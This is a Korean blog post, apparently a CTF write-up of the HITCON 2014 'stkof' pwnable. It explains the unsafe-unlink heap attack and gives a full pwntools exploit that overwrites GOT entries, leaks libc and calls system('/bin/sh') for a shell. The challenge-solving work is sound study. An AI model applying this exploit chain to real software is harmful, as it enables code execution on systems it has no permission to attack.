티스토리 뷰

CTF write-up

HITCON CTF 2014 stkof [ 550pt ]

marshimaro aSiagaming 2017. 8. 5. 02:06

how2heap에 unsafe unlink 예제인가.... 얼핏 봤던거 같아서...

예전에 분석까지만 진행했다가 이번에 익스까지 완료해보았다.


사실 how2heap예제 자체는 이해하는데 크게 무리는 없었다.

근데 이 unsafe unlink라는 기법이 어떤식으로 활용이 되는지는 감이 안잡혔었는데

이 문제가 딱 감잡기에 좋은 것 같다.


메인 함수부터 분석을 해보겠다.






menu가 4개가 있는데, 1번이 malloc, 2번이 edit, 3번이 free, 4번은 그냥 딱히 하는 역할은 없다.

4번은 아마 나중에 leak용도로 넣어둔 느낌이기도하고... 그런 느낌이다.








내가 지정한 size만큼 malloc을 하는데, 그 리턴된 pointer는 bss영역의 공간에 저장되게 된다.

그래서 unsafe unlink 공격의 대상이 된 것 같다.






edit쪽에서는 극명하게 overflow가 터진다.

size를 임의로 지정을 해주고, 그 지정한 size만큼을 입력해줄 수 있다.






free도 bss영역에 저장된 pointer를 참조하여 해제를 한다.

코드 자체는 그다지 설명을 길게 할 필요가 없어 보인다.






4번은 위에서 말했듯이, 딱히 어떤 역할을 하는건 없어 보인다.


처음에 gdb를 계속 붙여가면서 malloc의 리턴포인터와 크기가 입력한대로 잘 들어가는지 확인을 진행하는데

조금 이상한 점이 있었다....


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Breakpoint 10x0000000000400981 in ?? ()
gdb-peda$ x/40gx 0x2b3d010
0x2b3d010:    0x0000000000000000    0x0000000000000091
0x2b3d020:    0x0000000000000000    0x0000000000000000
0x2b3d030:    0x0000000000000000    0x0000000000000000
0x2b3d040:    0x0000000000000000    0x0000000000000000
0x2b3d050:    0x0000000000000000    0x0000000000000000
0x2b3d060:    0x0000000000000000    0x0000000000000000
0x2b3d070:    0x0000000000000000    0x0000000000000000
0x2b3d080:    0x0000000000000000    0x0000000000000000
0x2b3d090:    0x0000000000000000    0x0000000000000000
0x2b3d0a0:    0x0000000000000000    0x0000000000000411
0x2b3d0b0:    0x00000000000a4b4f    0x0000000000000000
0x2b3d0c0:    0x0000000000000000    0x0000000000000000
0x2b3d0d0:    0x0000000000000000    0x0000000000000000
0x2b3d0e0:    0x0000000000000000    0x0000000000000000
0x2b3d0f0:    0x0000000000000000    0x0000000000000000
0x2b3d100:    0x0000000000000000    0x0000000000000000
0x2b3d110:    0x0000000000000000    0x0000000000000000
0x2b3d120:    0x0000000000000000    0x0000000000000000
0x2b3d130:    0x0000000000000000    0x0000000000000000
0x2b3d140:    0x0000000000000000    0x0000000000000000
gdb-peda$ 
cs




2번 malloc을 진행한 시점인데... 0x80을 두번 할당했는데 실제로 할당되는 사이즈인 0x90은 어디가고

0x411이 존재한다.


실제로 0x90은 저 뒤쪽에 할당되어 있더라...


왜 그런건진 모르겠다.. 분명 코드 분석하면서 추가로 malloc을 하는 것은 보지 못했는데...


어쨋건 저래서 익스자체는 뒤쪽의 malloc pointer를 이용하여서 해주었다.


원리는 간단하다.

예전의 glibc에는 없던 securitry check routine이 추가되어서 이것에 대한 검증을 해주어야 하는데

그 routine은 P->fd->bk == P와 P->bk->fd == P 인지를 검증한다.


이게 검증이되면 이제야 우리가 아는 그 unlink routine이 실행된다.

FD->bk = BK

BK->fd = FD


fake_chunk를 우리는 보통 현재 chunk주소를 가지고 있는 bss 영역의 주소로 fd와 bk를 구성해주게 된다.

그리고, free를 해줄 때, prev_size에 대한 check도 이루어지니 이점도 유의해서 fake_chunk 를 구성해주어야 한다.


그렇게 구성을 해주고 free를 해주면, 임의의 영역에 chunk의 ptr이 아닌 이 문제에선 bss영역의 포인터가 자리잡히게 된다.

그래서 edit를 통해 bss영역에 임의로 다른 영역을 참조하도록 overwrite를 해줄 수 있다.


임의의 GOT주소를 주고, edit를 통해 그 GOT를 overwrite하며, 그 GOT를 만약 출력함수로 바꾸었다면, libc_leak도 가능하다.

그렇게 leak을 진행해주고, 똑같이 함수하나를 system으로 바꾸고 받는 인자의 주소를 /bin/sh로 해주면 쉘이 실행된다.







exploit code



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import time
 
context.binary = "./stkof"
= process(["./stkof"])
log.critical("PID : " + str(proc.pidof(p)[0]))
 
debug = True
if debug:
    pause()
 
prog = log.progress("Exploit ")
bss_chunk_ptr = 0x602150
elf = ELF("./stkof")
 
def malloc(size):
    p.sendline("1")
    p.sendline(str(size))
    print p.recvuntil("OK")
 
def edit_data(idx, size, data):
    p.sendline("2")
    p.sendline(str(idx))
    p.sendline(str(size + 1))
    p.sendline(data)
    print p.recvuntil("OK")
 
def free_chunk(idx):
    p.sendline("3")
    p.sendline(str(idx))
    print p.recvuntil("OK")
 
 
malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)
prog.status("allocate Done")
 
exp = p64(0+ p64(0)
exp += p64(bss_chunk_ptr - 24+ p64(bss_chunk_ptr - 16)
exp += "A" * 0x60
exp += p64(0x80+ p64(0x90)
 
edit_data(2len(exp), exp)
prog.status("edit Done")
 
free_chunk(3)
prog.status("free Done")
 
exp = "A" * 0x10                # until 0x602148 padd
exp += p64(elf.got["strlen"])   # 0x602148 index1
exp += p64(0x602158)            # 0x602150 index2
exp += p64(elf.got["fgets"])    # 0x602158 index3
exp += p64(0x602168)            # 0x602160 index4
exp += "/bin/sh\x00"            # 0x602168 index5
 
edit_data(2len(exp), exp)
edit_data(18, p64(elf.plt["printf"]))     # strlen@got -> printf@plt
 
p.sendline("4")
p.sendline("3")         # chunk index
 
p.recv(1)
leak = u64(p.recv(6).ljust(8"\x00"))
print hex(leak)
system = leak - 0x6dad0 + 0x45390
edit_data(18, p64(system))
p.sendline("4")
p.sendline("4")
 
p.interactive()
 
 
cs
















'CTF write-up' 카테고리의 다른 글

TWCTF -_-...  (0) 2017.09.06
BOB CTF megabox [ pwn 450pt ]  (0) 2017.08.11
HITCON CTF 2014 stkof [ 550pt ]  (3) 2017.08.05
Defcon CTF 2017 mute [ pwnable ]  (0) 2017.08.01
Defcon CTF 2017 badint [ pwnable ]  (0) 2017.07.30
Defcon CTF 2017 beatmeonthedl [ pwnable ]  (0) 2017.07.29
댓글
댓글쓰기 폼